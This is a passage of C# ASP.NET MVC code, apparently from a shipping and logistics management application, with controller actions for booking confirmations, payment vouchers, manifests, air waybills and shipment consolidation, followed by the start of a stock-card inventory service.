if (RevenueModel.CurrencyTypes.EUR.ToString().Equals(SOAModel1.Currency)
&& (RevenueModel.InvTypes.VNCredit.ToString().Equals(SOAModel1.TypeNote) || RevenueModel.InvTypes.AgentCredit.ToString().Equals(SOAModel1.TypeNote)))
{
EURAmount = EURAmount + SOAModel1.Amount;
}
else
if (RevenueModel.CurrencyTypes.EUR.ToString().Equals(SOAModel1.Currency)
&& (RevenueModel.InvTypes.VNDebit.ToString().Equals(SOAModel1.TypeNote) || RevenueModel.InvTypes.AgentDebit.ToString().Equals(SOAModel1.TypeNote)))
{
EURAmount = EURAmount - SOAModel1.Amount;
}
else
//--------------------------------------
if (RevenueModel.CurrencyTypes.GBP.ToString().Equals(SOAModel1.Currency)
&& (RevenueModel.InvTypes.VNCredit.ToString().Equals(SOAModel1.TypeNote) || RevenueModel.InvTypes.AgentCredit.ToString().Equals(SOAModel1.TypeNote)))
{
GBPAmount = GBPAmount + SOAModel1.Amount;
}
else
if (RevenueModel.CurrencyTypes.GBP.ToString().Equals(SOAModel1.Currency)
&& (RevenueModel.InvTypes.VNDebit.ToString().Equals(SOAModel1.TypeNote) || RevenueModel.InvTypes.AgentDebit.ToString().Equals(SOAModel1.TypeNote)))
{
GBPAmount = GBPAmount - SOAModel1.Amount;
}
else
//--------------------------------------------
if (RevenueModel.CurrencyTypes.AUD.ToString().Equals(SOAModel1.Currency)
&& (RevenueModel.InvTypes.VNCredit.ToString().Equals(SOAModel1.TypeNote) || RevenueModel.InvTypes.AgentCredit.ToString().Equals(SOAModel1.TypeNote)))
{
AUDAmount = AUDAmount + SOAModel1.Amount;
}
else
if (RevenueModel.CurrencyTypes.AUD.ToString().Equals(SOAModel1.Currency)
&& (RevenueModel.InvTypes.VNDebit.ToString().Equals(SOAModel1.TypeNote) || RevenueModel.InvTypes.AgentDebit.ToString().Equals(SOAModel1.TypeNote)))
{
AUDAmount = AUDAmount - SOAModel1.Amount;
}
}
ViewData["USDAmount"] = USDAmount;
ViewData["EURAmount"] = EURAmount;
ViewData["GBPAmount"] = GBPAmount;
ViewData["AUDAmount"] = AUDAmount;
if (StringUtils.isNullOrEmpty(Model1.DateFrom))
{
Model1.DateFrom = "";
}
if (StringUtils.isNullOrEmpty(Model1.DateTo))
{
Model1.DateTo = "";
}
IEnumerable<SOAInvoice> ListSOA = ShipmentServices1.getSOAInvoice(Model1);
int status = 2;
var soaInvoices = ListSOA.ToList();
if (soaInvoices.Any())
{
if (soaInvoices.All(x => x.IsPayment))
{
status = 1;
}
else if (soaInvoices.All(x => !x.IsPayment))
{
status = 0;
}
}
ViewData["StatusSOA"] = status;
ViewData["ListSOA"] = soaInvoices;
return View(Model1);
}
public ActionResult BookingConfirm(long Id, long ShipmentId)
{
BookingConfirmModel BookingConfirmModel1 = new BookingConfirmModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
BookingConfirmModel1.ShipmentId = ShipmentId;
if (Shipment1.BookingConfirms != null && Shipment1.BookingConfirms.Count > 0)
{
BookingConfirm Booking1 = Shipment1.BookingConfirms.ElementAt(0);
BookingConfirmModel.ConvertBookingConfirm(Booking1, BookingConfirmModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(BookingConfirmModel1);
}
public ActionResult PrintBookingConfirm(long Id, long ShipmentId)
{
BookingConfirmModel BookingConfirmModel1 = new BookingConfirmModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
BookingConfirmModel1.ShipmentId = ShipmentId;
if (Shipment1.BookingConfirms != null && Shipment1.BookingConfirms.Count > 0)
{
BookingConfirm Booking1 = Shipment1.BookingConfirms.ElementAt(0);
BookingConfirmModel.ConvertBookingConfirm(Booking1, BookingConfirmModel1);
}
return View(BookingConfirmModel1);
}
[HttpPost]
public ActionResult BookingConfirm(BookingConfirmModel BookingConfirmModel1, long Id, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.BookingConfirms != null && Shipment1.BookingConfirms.Count > 0)
{
BookingConfirm BookingConfirm1 = Shipment1.BookingConfirms.ElementAt(0);
BookingConfirm1 = ShipmentServices1.getBookingConfirm(BookingConfirm1.Id);
BookingConfirmModel.ConvertBookingConfirm(BookingConfirmModel1, BookingConfirm1);
ShipmentServices1.UpdateAny();
}
else
{
BookingConfirm BookingConfirm1 = new Models.BookingConfirm();
BookingConfirmModel.ConvertBookingConfirm(BookingConfirmModel1, BookingConfirm1);
ShipmentServices1.insertBookingConfirm(BookingConfirm1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(BookingConfirmModel1);
}
//-----------------------------
public ActionResult RequestPayment(long Id, long ShipmentId)
{
RequestPaymentModel RequestPaymentModel1 = new RequestPaymentModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
RequestPaymentModel1.ShipmentId = ShipmentId;
RequestPaymentModel1.DepartmentName = User1.Department.DeptName;
RequestPaymentModel1.BillNumber = Shipment1.HouseNum;
RequestPaymentModel1.ShipmentCode = Shipment1.MasterNum;
RequestPaymentModel1.CustomerName = Shipment1.Customer.FullName;
RequestPaymentModel1.CarrierName = Shipment1.CarrierAirLine.CarrierAirLineName;
if (Shipment1.RequestPayments != null && Shipment1.RequestPayments.Count > 0)
{
RequestPayment Request1 = Shipment1.RequestPayments.ElementAt(0);
RequestPaymentModel.ConvertRequestPayment(Request1, RequestPaymentModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(RequestPaymentModel1);
}
#endregion
#region PaymentPrint
public ActionResult PrintRequestPayment(long Id, long ShipmentId)
{
RequestPaymentModel RequestPaymentModel1 = new RequestPaymentModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
RequestPaymentModel1.ShipmentId = ShipmentId;
RequestPaymentModel1.DepartmentName = User1.Department.DeptName;
RequestPaymentModel1.BillNumber = Shipment1.HouseNum;
RequestPaymentModel1.CustomerName = Shipment1.Customer.FullName;
RequestPaymentModel1.CarrierName = Shipment1.CarrierAirLine.CarrierAirLineName;
if (Shipment1.RequestPayments != null && Shipment1.RequestPayments.Count > 0)
{
RequestPayment Request1 = Shipment1.RequestPayments.ElementAt(0);
RequestPaymentModel.ConvertRequestPayment(Request1, RequestPaymentModel1);
}
return View(RequestPaymentModel1);
}
[HttpPost]
public ActionResult RequestPayment(RequestPaymentModel RequestPaymentModel1, long Id, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.RequestPayments != null && Shipment1.RequestPayments.Count > 0)
{
RequestPayment RequestPayment1 = Shipment1.RequestPayments.ElementAt(0);
RequestPayment1 = ShipmentServices1.getRequestPayment(RequestPayment1.Id);
RequestPaymentModel.ConvertRequestPayment(RequestPaymentModel1, RequestPayment1);
ShipmentServices1.UpdateAny();
}
else
{
RequestPayment RequestPayment1 = new Models.RequestPayment();
RequestPaymentModel.ConvertRequestPayment(RequestPaymentModel1, RequestPayment1);
ShipmentServices1.insertRequestPayment(RequestPayment1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(RequestPaymentModel1);
}
//-----------------------------
public ActionResult AuthorLetter(long Id, long ShipmentId)
{
AuthorLetter LastAuthorLetter = ShipmentServices1.getLastAuthorLetter();
AuthorLetterModel AuthorLetterModel1 = new AuthorLetterModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
AuthorLetterModel1.ShipmentId = ShipmentId;
AuthorLetterModel1.BenB = Shipment1.Customer.FullName + "<br />" + Shipment1.Customer.Address;
AuthorLetterModel1.MAWBNo = Shipment1.MasterNum;
AuthorLetterModel1.HAWNNo = Shipment1.HouseNum;
AuthorLetterModel1.Flight = Shipment1.CarrierAirLine.CarrierAirLineName;
AuthorLetterModel1.CompanyAddress = LastAuthorLetter.CompanyAddress;
AuthorLetterModel1.DearTo = LastAuthorLetter.DearTo;
AuthorLetterModel1.BenA = LastAuthorLetter.BenA;
if (Shipment1.AuthorLetters != null && Shipment1.AuthorLetters.Count > 0)
{
AuthorLetter Author1 = Shipment1.AuthorLetters.ElementAt(0);
AuthorLetterModel.convertAuthorLetter(Author1, AuthorLetterModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(AuthorLetterModel1);
}
public ActionResult PrintAuthorLetter(long Id, long ShipmentId)
{
AuthorLetterModel AuthorLetterModel1 = new AuthorLetterModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
AuthorLetterModel1.ShipmentId = ShipmentId;
if (Shipment1.AuthorLetters != null && Shipment1.AuthorLetters.Count > 0)
{
AuthorLetter Author1 = Shipment1.AuthorLetters.ElementAt(0);
AuthorLetterModel.convertAuthorLetter(Author1, AuthorLetterModel1);
}
return View(AuthorLetterModel1);
}
[HttpPost]
[ValidateInput(false)]
public ActionResult AuthorLetter(AuthorLetterModel AuthorLetterModel1, long Id, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.AuthorLetters != null && Shipment1.AuthorLetters.Count > 0)
{
AuthorLetter AuthorLetter1 = Shipment1.AuthorLetters.ElementAt(0);
AuthorLetter1 = ShipmentServices1.getAuthorLetter(AuthorLetter1.Id);
AuthorLetterModel.convertAuthorLetter(AuthorLetterModel1, AuthorLetter1);
ShipmentServices1.UpdateAny();
}
else
{
AuthorLetter AuthorLetter1 = new Models.AuthorLetter();
AuthorLetterModel.convertAuthorLetter(AuthorLetterModel1, AuthorLetter1);
ShipmentServices1.insertAuthorLetter(AuthorLetter1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(AuthorLetterModel1);
}
public ActionResult PaymentVoucher(long ShipmentId)
{
PaymentVocherModel PaymentVocherModel1 = new PaymentVocherModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
PaymentVocherModel1.ShipmentId = ShipmentId;
if (Shipment1.PaymentVouchers != null && Shipment1.PaymentVouchers.Count > 0)
{
PaymentVoucher PaymentVoucher1 = Shipment1.PaymentVouchers.ElementAt(0);
PaymentVocherModel.convertPaymentVoucher(PaymentVoucher1, PaymentVocherModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
ViewData["Shipment"] = Shipment1;
viewDocument(Shipment1);
return View(PaymentVocherModel1);
}
[HttpPost]
public ActionResult PaymentVoucher(PaymentVocherModel PaymentVocherModel1, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.PaymentVouchers != null && Shipment1.PaymentVouchers.Count > 0)
{
PaymentVoucher PaymentVoucher1 = Shipment1.PaymentVouchers.ElementAt(0);
PaymentVoucher1 = ShipmentServices1.getPaymentVoucher(PaymentVoucher1.Id);
PaymentVocherModel.convertPaymentVoucher(PaymentVocherModel1, PaymentVoucher1);
ShipmentServices1.UpdateAny();
}
else
{
PaymentVoucher PaymentVoucher1 = new Models.PaymentVoucher();
PaymentVocherModel.convertPaymentVoucher(PaymentVocherModel1, PaymentVoucher1);
ShipmentServices1.insertPaymentVoucher(PaymentVoucher1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
ViewData["Shipment"] = Shipment1;
viewDocument(Shipment1);
return View(PaymentVocherModel1);
}
public ActionResult PrintPaymentVoucher(long ShipmentId)
{
PaymentVocherModel PaymentVocherModel1 = new PaymentVocherModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
PaymentVocherModel1.ShipmentId = ShipmentId;
PaymentVocherModel1.CompanyName = "<NAME>";
if (Shipment1.PaymentVouchers != null && Shipment1.PaymentVouchers.Count > 0)
{
PaymentVoucher PaymentVoucher1 = Shipment1.PaymentVouchers.ElementAt(0);
PaymentVocherModel.convertPaymentVoucher(PaymentVoucher1, PaymentVocherModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
ViewData["Shipment"] = Shipment1;
viewDocument(Shipment1);
return View(PaymentVocherModel1);
}
public ActionResult BookingRequest(long ShipmentId)
{
BookingRequestModel BookingRequestModel1 = new BookingRequestModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
BookingRequestModel1.ShipmentId = ShipmentId;
if (Shipment1.BookingRequests != null && Shipment1.BookingRequests.Count > 0)
{
BookingRequest Request1 = Shipment1.BookingRequests.ElementAt(0);
BookingRequestModel.ConvertBookingRequest(Request1, BookingRequestModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(BookingRequestModel1);
}
public ActionResult PrintBookingRequest(long ShipmentId)
{
BookingRequestModel BookingRequestModel1 = new BookingRequestModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
BookingRequestModel1.ShipmentId = ShipmentId;
if (Shipment1.BookingRequests != null && Shipment1.BookingRequests.Count > 0)
{
BookingRequest Request1 = Shipment1.BookingRequests.ElementAt(0);
BookingRequestModel.ConvertBookingRequest(Request1, BookingRequestModel1);
}
return View(BookingRequestModel1);
}
[HttpPost]
[ValidateInput(false)]
public ActionResult BookingRequest(BookingRequestModel BookingModel, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.BookingRequests != null && Shipment1.BookingRequests.Count > 0)
{
BookingRequest BookingRequest1 = Shipment1.BookingRequests.ElementAt(0);
BookingRequest1 = ShipmentServices1.getBookingRequest(BookingRequest1.Id);
BookingRequestModel.ConvertBookingRequest(BookingModel, BookingRequest1);
ShipmentServices1.UpdateAny();
}
else
{
BookingRequest BookingRequest1 = new Models.BookingRequest();
BookingRequestModel.ConvertBookingRequest(BookingModel, BookingRequest1);
ShipmentServices1.insertBookingRequest(BookingRequest1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(BookingModel);
}
//Manifest action
public ActionResult Manifest(long ShipmentId)
{
ManifestModel ManifestModel1 = new ManifestModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
ManifestModel1.ShipmentId = ShipmentId;
if (Shipment1.Manifests != null && Shipment1.Manifests.Count > 0)
{
Manifest Manifest1 = Shipment1.Manifests.ElementAt(0);
ManifestModel.convertManifest(Manifest1, ManifestModel1);
}
else
{
ManifestModel1.DEPARTURE = Shipment1.Area.AreaAddress + ", " + Shipment1.Area.Country.CountryName;
ManifestModel1.ESTINATION = Shipment1.Area1.AreaAddress + ", " + Shipment1.Area1.Country.CountryName;
ManifestModel1.SHIPPER = Shipment1.Customer1.FullName + "\r\n" + Shipment1.Customer1.Address;
ManifestModel1.SHIPPER = Shipment1.Customer.FullName + "\r\n" + Shipment1.Customer.Address;
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(ManifestModel1);
}
public ActionResult PrintManifest(long ShipmentId)
{
ManifestModel ManifestModel1 = new ManifestModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
ManifestModel1.ShipmentId = ShipmentId;
if (Shipment1.Manifests != null && Shipment1.Manifests.Count > 0)
{
Manifest Manifest1 = Shipment1.Manifests.ElementAt(0);
ManifestModel.convertManifest(Manifest1, ManifestModel1);
}
else
{
ManifestModel1.DEPARTURE = Shipment1.Area.AreaAddress + ", " + Shipment1.Area.Country.CountryName;
ManifestModel1.ESTINATION = Shipment1.Area1.AreaAddress + ", " + Shipment1.Area1.Country.CountryName;
ManifestModel1.SHIPPER = Shipment1.Customer1.FullName + "\r\n" + Shipment1.Customer1.Address;
ManifestModel1.SHIPPER = Shipment1.Customer.FullName + "\r\n" + Shipment1.Customer.Address;
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(ManifestModel1);
}
[HttpPost]
[ValidateInput(false)]
public ActionResult Manifest(ManifestModel ManifestModel1, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.Manifests != null && Shipment1.Manifests.Count > 0)
{
Manifest Manifest1 = Shipment1.Manifests.ElementAt(0);
Manifest1 = ShipmentServices1.getManifest(Manifest1.Id);
ManifestModel.convertManifest(ManifestModel1, Manifest1);
ShipmentServices1.UpdateAny();
}
else
{
Manifest Manifest1 = new Models.Manifest();
ManifestModel.convertManifest(ManifestModel1, Manifest1);
ShipmentServices1.insertManifest(Manifest1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(ManifestModel1);
}
//Transitment Advised action
public ActionResult TransitmentAdvised(long ShipmentId)
{
TransitmentAdvisedModel TransitmentAdvisedModel1 = new TransitmentAdvisedModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
TransitmentAdvisedModel1.ShipmentId = ShipmentId;
if (Shipment1.TransitmentAdviseds != null && Shipment1.TransitmentAdviseds.Count > 0)
{
TransitmentAdvised TransitmentAdvised1 = Shipment1.TransitmentAdviseds.ElementAt(0);
TransitmentAdvisedModel.convertTransitment(TransitmentAdvised1, TransitmentAdvisedModel1);
}
else
{
TransitmentAdvisedModel1.AdvisedBL = Shipment1.HouseNum;
TransitmentAdvisedModel1.Measurement = Shipment1.QtyUnit;
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(TransitmentAdvisedModel1);
}
public ActionResult PrintTransitmentAdvised(long ShipmentId)
{
TransitmentAdvisedModel TransitmentAdvisedModel1 = new TransitmentAdvisedModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
TransitmentAdvisedModel1.ShipmentId = ShipmentId;
if (Shipment1.TransitmentAdviseds != null && Shipment1.TransitmentAdviseds.Count > 0)
{
TransitmentAdvised TransitmentAdvised1 = Shipment1.TransitmentAdviseds.ElementAt(0);
TransitmentAdvisedModel.convertTransitment(TransitmentAdvised1, TransitmentAdvisedModel1);
}
else
{
TransitmentAdvisedModel1.AdvisedBL = Shipment1.HouseNum;
TransitmentAdvisedModel1.Measurement = Shipment1.QtyUnit;
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(TransitmentAdvisedModel1);
}
[HttpPost]
[ValidateInput(false)]
public ActionResult TransitmentAdvised(TransitmentAdvisedModel TransitmentAdvisedModel1, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.TransitmentAdviseds != null && Shipment1.TransitmentAdviseds.Count > 0)
{
TransitmentAdvised TransitmentAdvised1 = Shipment1.TransitmentAdviseds.ElementAt(0);
TransitmentAdvised1 = ShipmentServices1.getTransitmentAdvised(TransitmentAdvised1.Id);
TransitmentAdvisedModel.convertTransitment(TransitmentAdvisedModel1, TransitmentAdvised1);
ShipmentServices1.UpdateAny();
}
else
{
TransitmentAdvised TransitmentAdvised1 = new Models.TransitmentAdvised();
TransitmentAdvisedModel.convertTransitment(TransitmentAdvisedModel1, TransitmentAdvised1);
ShipmentServices1.insertTransitmentAdvised(TransitmentAdvised1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(TransitmentAdvisedModel1);
}
public ActionResult HAirWayBill(long ShipmentId)
{
HouseAirWayBillModel HouseAirWayBillModel1 = new HouseAirWayBillModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
HouseAirWayBillModel1.ShipmentId = ShipmentId;
if (Shipment1.HAirWayBills != null && Shipment1.HAirWayBills.Count > 0)
{
HAirWayBill HAirWayBill1 = Shipment1.HAirWayBills.ElementAt(0);
HouseAirWayBillModel.convertHAirWayBill(HAirWayBill1, HouseAirWayBillModel1);
}
else
{
HouseAirWayBillModel1.IssueBy = "<html><head>"
+ "<title></title></head>"
+ "<body><p>Not Negotiable</p><p>"
+ "<span style=\"font-size: 20px;\"><strong>Air Waybill</strong></span><br />Issued By</p>"
+ "<p><img alt=\"\" src=\"../../Images/transitment.png\" style=\"width: 200px; height: 40px;\" /></p>"
+ "<p><span style=\"font-family: arial,helvetica,sans-serif;\"><span style=\"font-size: 12px;\">Copies 1, 2 and 3 of this Air Waybill are originals and have the same validity</span></span></p>"
+ "</body></html>";
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(HouseAirWayBillModel1);
}
[HttpPost]
[ValidateInput(false)]
public ActionResult HAirWayBill(HouseAirWayBillModel HouseAirWayBillModel1, long ShipmentId)
{
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
if (Shipment1.HAirWayBills != null && Shipment1.HAirWayBills.Count > 0)
{
HAirWayBill HAirWayBill1 = Shipment1.HAirWayBills.ElementAt(0);
HAirWayBill1 = ShipmentServices1.getHAirWayBill(HAirWayBill1.Id);
HouseAirWayBillModel.convertHAirWayBill(HouseAirWayBillModel1, HAirWayBill1);
ShipmentServices1.UpdateAny();
}
else
{
HAirWayBill HAirWayBill1 = new Models.HAirWayBill();
HouseAirWayBillModel.convertHAirWayBill(HouseAirWayBillModel1, HAirWayBill1);
ShipmentServices1.insertHAirWayBill(HAirWayBill1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(HouseAirWayBillModel1);
}
public ActionResult PrintHAirWayBill(long ShipmentId)
{
HouseAirWayBillModel HouseAirWayBillModel1 = new HouseAirWayBillModel();
Shipment Shipment1 = ShipmentServices1.GetShipmentById(ShipmentId);
HouseAirWayBillModel1.ShipmentId = ShipmentId;
if (Shipment1.HAirWayBills != null && Shipment1.HAirWayBills.Count > 0)
{
HAirWayBill HAirWayBill1 = Shipment1.HAirWayBills.ElementAt(0);
HouseAirWayBillModel.convertHAirWayBill(HAirWayBill1, HouseAirWayBillModel1);
}
ViewData["ServiceName"] = Shipment1.ServicesType.SerivceName;
viewDocument(Shipment1);
return View(HouseAirWayBillModel1);
}
#endregion
public ActionResult ChangePaymentSoa(string ids, bool isPament)
{
List<long> listofIDs;
var listId = ids.Split(';');
listofIDs = listId.Where(x => !string.IsNullOrEmpty(x)).Select(it => Convert.ToInt64(it)).ToList();
ShipmentServices1.ChangeSoaPayment(listofIDs, isPament);
return Json("ok");
}
#region ShipmentControll
public ActionResult CreateControl()
{
ShipmentModel model = new ShipmentModel();
GetDefaultData();
ViewData["Services"] = Services;
IEnumerable<Area> AreaListDep = ShipmentServices1.getAllAreaByCountry(125).OrderBy(x => x.AreaAddress);
IEnumerable<Area> AreaListDes = ShipmentServices1.getAllAreaByCountry(125).OrderBy(x => x.AreaAddress);
var users =
UsersServices1.GetQuery(
x =>
!x.Department.DeptFunction.Equals(UsersModel.Positions.Administrator.ToString()) &&
!x.Department.DeptFunction.Equals(UsersModel.Positions.Director.ToString()) &&
!x.Department.DeptFunction.Equals(UsersModel.Positions.Accountant.ToString()) &&
x.IsActive == true)
.OrderBy(x => x.FullName).ToList();
model.CountryDeparture = 126;
model.CountryDestination = 126;
model.QtyNumber = 1;
model.DepartureId = 5;
model.DestinationId = 5;
model.ServiceId = 3;
model.QtyUnit = "KGS";
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
ViewData["UserName"] = User1.FullName;
ViewBag.UserList = users;
ViewBag.UserListSelect = new List<User>();
model.ShipperId = GetConsolCustomerId();
model.CneeId = GetConsolCustomerId();
model.IsMainControl = true;
ViewData["Units"] = new SelectList(unitService.GetAll(x => x.ServiceType == "Air").ToList(), "Unit1", "Unit1");
ViewData["Carriers"] = carrierService.GetAllByType(CarrierType.ShippingLine.ToString()).ToList();
model.Dateshp = DateTime.Now.ToString("dd/MM/yyyy");
return View(model);
}
[HttpPost]
public ActionResult CreateControl(ShipmentModel model)
{
model.VoucherId = null;
model.IsTrading = false;
GetDefaultData();
ViewData["Services"] = Services;
if (ModelState.IsValid)
{
try
{
model.DepartmentId = User1.Department.Id;
model.SaleId = User1.Id;
model.CompanyId = User1.ComId.Value;
model.RevenueStatus = ShipmentModel.RevenueStatusCollec.Pending.ToString();
model.ServiceName = servicesType.FindEntity(x => x.Id == model.ServiceId).SerivceName;
model.HouseNum = string.Format(@"has {0} hbl", model.UserListInControl.Count);
model.IsControl = true;
model.ControlStep = ShipmentServices1.GetStepControlNumber(0);
ShipmentServices1.InsertShipment(model);
return RedirectToAction("Index", "Shipment", new { id = 0 });
}
catch (Exception exception)
{
Logger.LogError(exception);
return View(model);
}
}
else
{
string messages = string.Join("\n", ModelState.Values
.SelectMany(x => x.Errors)
.Select(x => x.ErrorMessage));
Logger.LogError(messages);
IEnumerable<Area> AreaListDep = ShipmentServices1.getAllAreaByCountry(125).OrderBy(x => x.AreaAddress);
IEnumerable<Area> AreaListDes = ShipmentServices1.getAllAreaByCountry(125).OrderBy(x => x.AreaAddress);
var users =
UsersServices1.GetQuery(
x =>
!x.Department.DeptFunction.Equals(UsersModel.Positions.Administrator.ToString()) &&
!x.Department.DeptFunction.Equals(UsersModel.Positions.Director.ToString()) &&
!x.Department.DeptFunction.Equals(UsersModel.Positions.Accountant.ToString()) &&
x.IsActive == true)
.OrderBy(x => x.FullName).ToList();
model.CountryDeparture = 125;
model.CountryDestination = 125;
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
ViewData["UserName"] = User1.FullName;
ViewBag.UserList = users;
ViewBag.UserListSelect = users.Where(x => model.UserListInControl.Contains(x.Id)).ToList();
model.ShipperId = GetConsolCustomerId();
model.CneeId = GetConsolCustomerId();
ViewData["Units"] = new SelectList(unitService.GetAll(x => x.ServiceType == "Sea").OrderBy(x => x.Unit1).ToList(), "Unit1", "Unit1");
ViewData["Carriers"] = carrierService.GetAllByType(CarrierType.ShippingLine.ToString()).ToList();
model.Dateshp = DateTime.Now.ToString("dd/MM/yyyy");
return View(model);
}
}
private long GetConsolCustomerId()
{
var custormer = customerServices.FindEntity(x => x.FullName.Equals("CONSOL"));
if (custormer != null) return custormer.Id;
custormer = new Customer()
{
FullName = "CONSOL",
Address = "CONSOL",
CompanyName = "CONSOL",
CustomerType = "CoType",
UserId = 1
};
customerServices.Insert(custormer);
custormer = customerServices.FindEntity(x => x.FullName.Equals("CONSOL"));
return custormer.Id;
}
public ActionResult AddMemberToConsol(long id, long idRef)
{
var member = ShipmentServices1.GetShipmentById(idRef);
ResultCommand result;
if (member == null)
{
result = new ResultCommand()
{
IsFinished = false,
Message = "Shipment member not found with ref " + idRef
};
return Json(result, JsonRequestBehavior.AllowGet);
}
result = ShipmentServices1.AddMemberToConsol(id, member);
return Json(result, JsonRequestBehavior.AllowGet);
}
public ActionResult RemoveMemberFromConsol(long id, long idRef)
{
var member = ShipmentServices1.GetShipmentById(idRef);
ResultCommand result;
if (member == null)
{
result = new ResultCommand()
{
IsFinished = false,
Message = "Shipment member not found with ref " + idRef
};
return Json(result, JsonRequestBehavior.AllowGet);
}
result = ShipmentServices1.RemoveMemberOfConsol(id, member);
return Json(result, JsonRequestBehavior.AllowGet);
}
#endregion
public void HistoryWirter(string actionName, long id, string message = "", bool isRevisedRequest = false)
{
var history = new HistoryModel()
{
HistoryMessage = !string.IsNullOrEmpty(message) ? message : String.Format("{0} đã {1} Revenue id {2}", User1.FullName, actionName, id),
UserId = User1.Id,
ActionName = actionName,
CreateTime = DateTime.Now,
ObjectId = id,
ObjectType = new RevenueModel().GetType().ToString(),
IsLasted = true,
Id = 0,
IsRevisedRequest = isRevisedRequest
};
historyService.SetUnLasted(history.ObjectId.Value, history.ObjectType);
historyService.Save(history);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using SSM.Common;
using SSM.Models;
using SSM.ViewModels;
namespace SSM.Services
{
public interface IStockCardService : IServices<StockCard>
{
IEnumerable<IssueVoucherModel> GetList(IssueVoucherModel filter, int page, int pageSize, out int totalRow);
IEnumerable<IssueVoucherModel> GetListInventory(IssueVoucherModel filter, int page, int pageSize, out int totalRow);
List<MonthYear> GetReportList(IssueVoucherModel filter);
string CaculateCost(CalculateCostViewModel model);
string CaculateCostToNextYear(int year);
}
public class StockCardService : Services<StockCard>, IStockCardService
{
public IEnumerable<IssueVoucherModel> GetList(IssueVoucherModel filter, int page, int pageSize, out int totalRow)
{
var skip = (page - 1) * pageSize;
var query = GetQueryFilter(filter);
if (filter.StockIn && filter.StockOut == false)
{
query = query.Where(x => x.nxt.Value == true);
}
if (filter.StockIn == false && filter.StockOut == true)
{
query = query.Where(x => x.nxt.Value == false);
}
// var stockCards = query.ToList();
// var db = stockCards.Select(x => CopyToModel(x));
var proQry = query.GroupBy(x => x.Product);
totalRow = proQry.Count();
var prodts = proQry.Skip(skip).Take(pageSize).ToList();
List<IssueVoucherModel> voucherModels = new List<IssueVoucherModel>();
var count = 0;
var inventorylist = GetListInventory(filter, page, pageSize, out count).Where(x => string.IsNullOrEmpty(x.VoucherNo)).ToList();
foreach (var prodt in prodts)
{
var product = prodt.Key;
var vInventotry = 0M;
var producInventory = inventorylist.FirstOrDefault(x => x.Product == product);
if (producInventory != null)
{
vInventotry = producInventory.Amount;
}
if (filter.TopRowDetail > 0 && voucherModels.Any())
{
var produtsG = prodt.Select(x => CopyToModel(x));
voucherModels.AddRange(produtsG.Where(x => x.Product.Id == product.Id).Take(filter.TopRowDetail));
}
else
{
var produtsG = prodt.Select(x => CopyToModel(x));
voucherModels.AddRange(produtsG);
}
var total = new IssueVoucherModel()
{
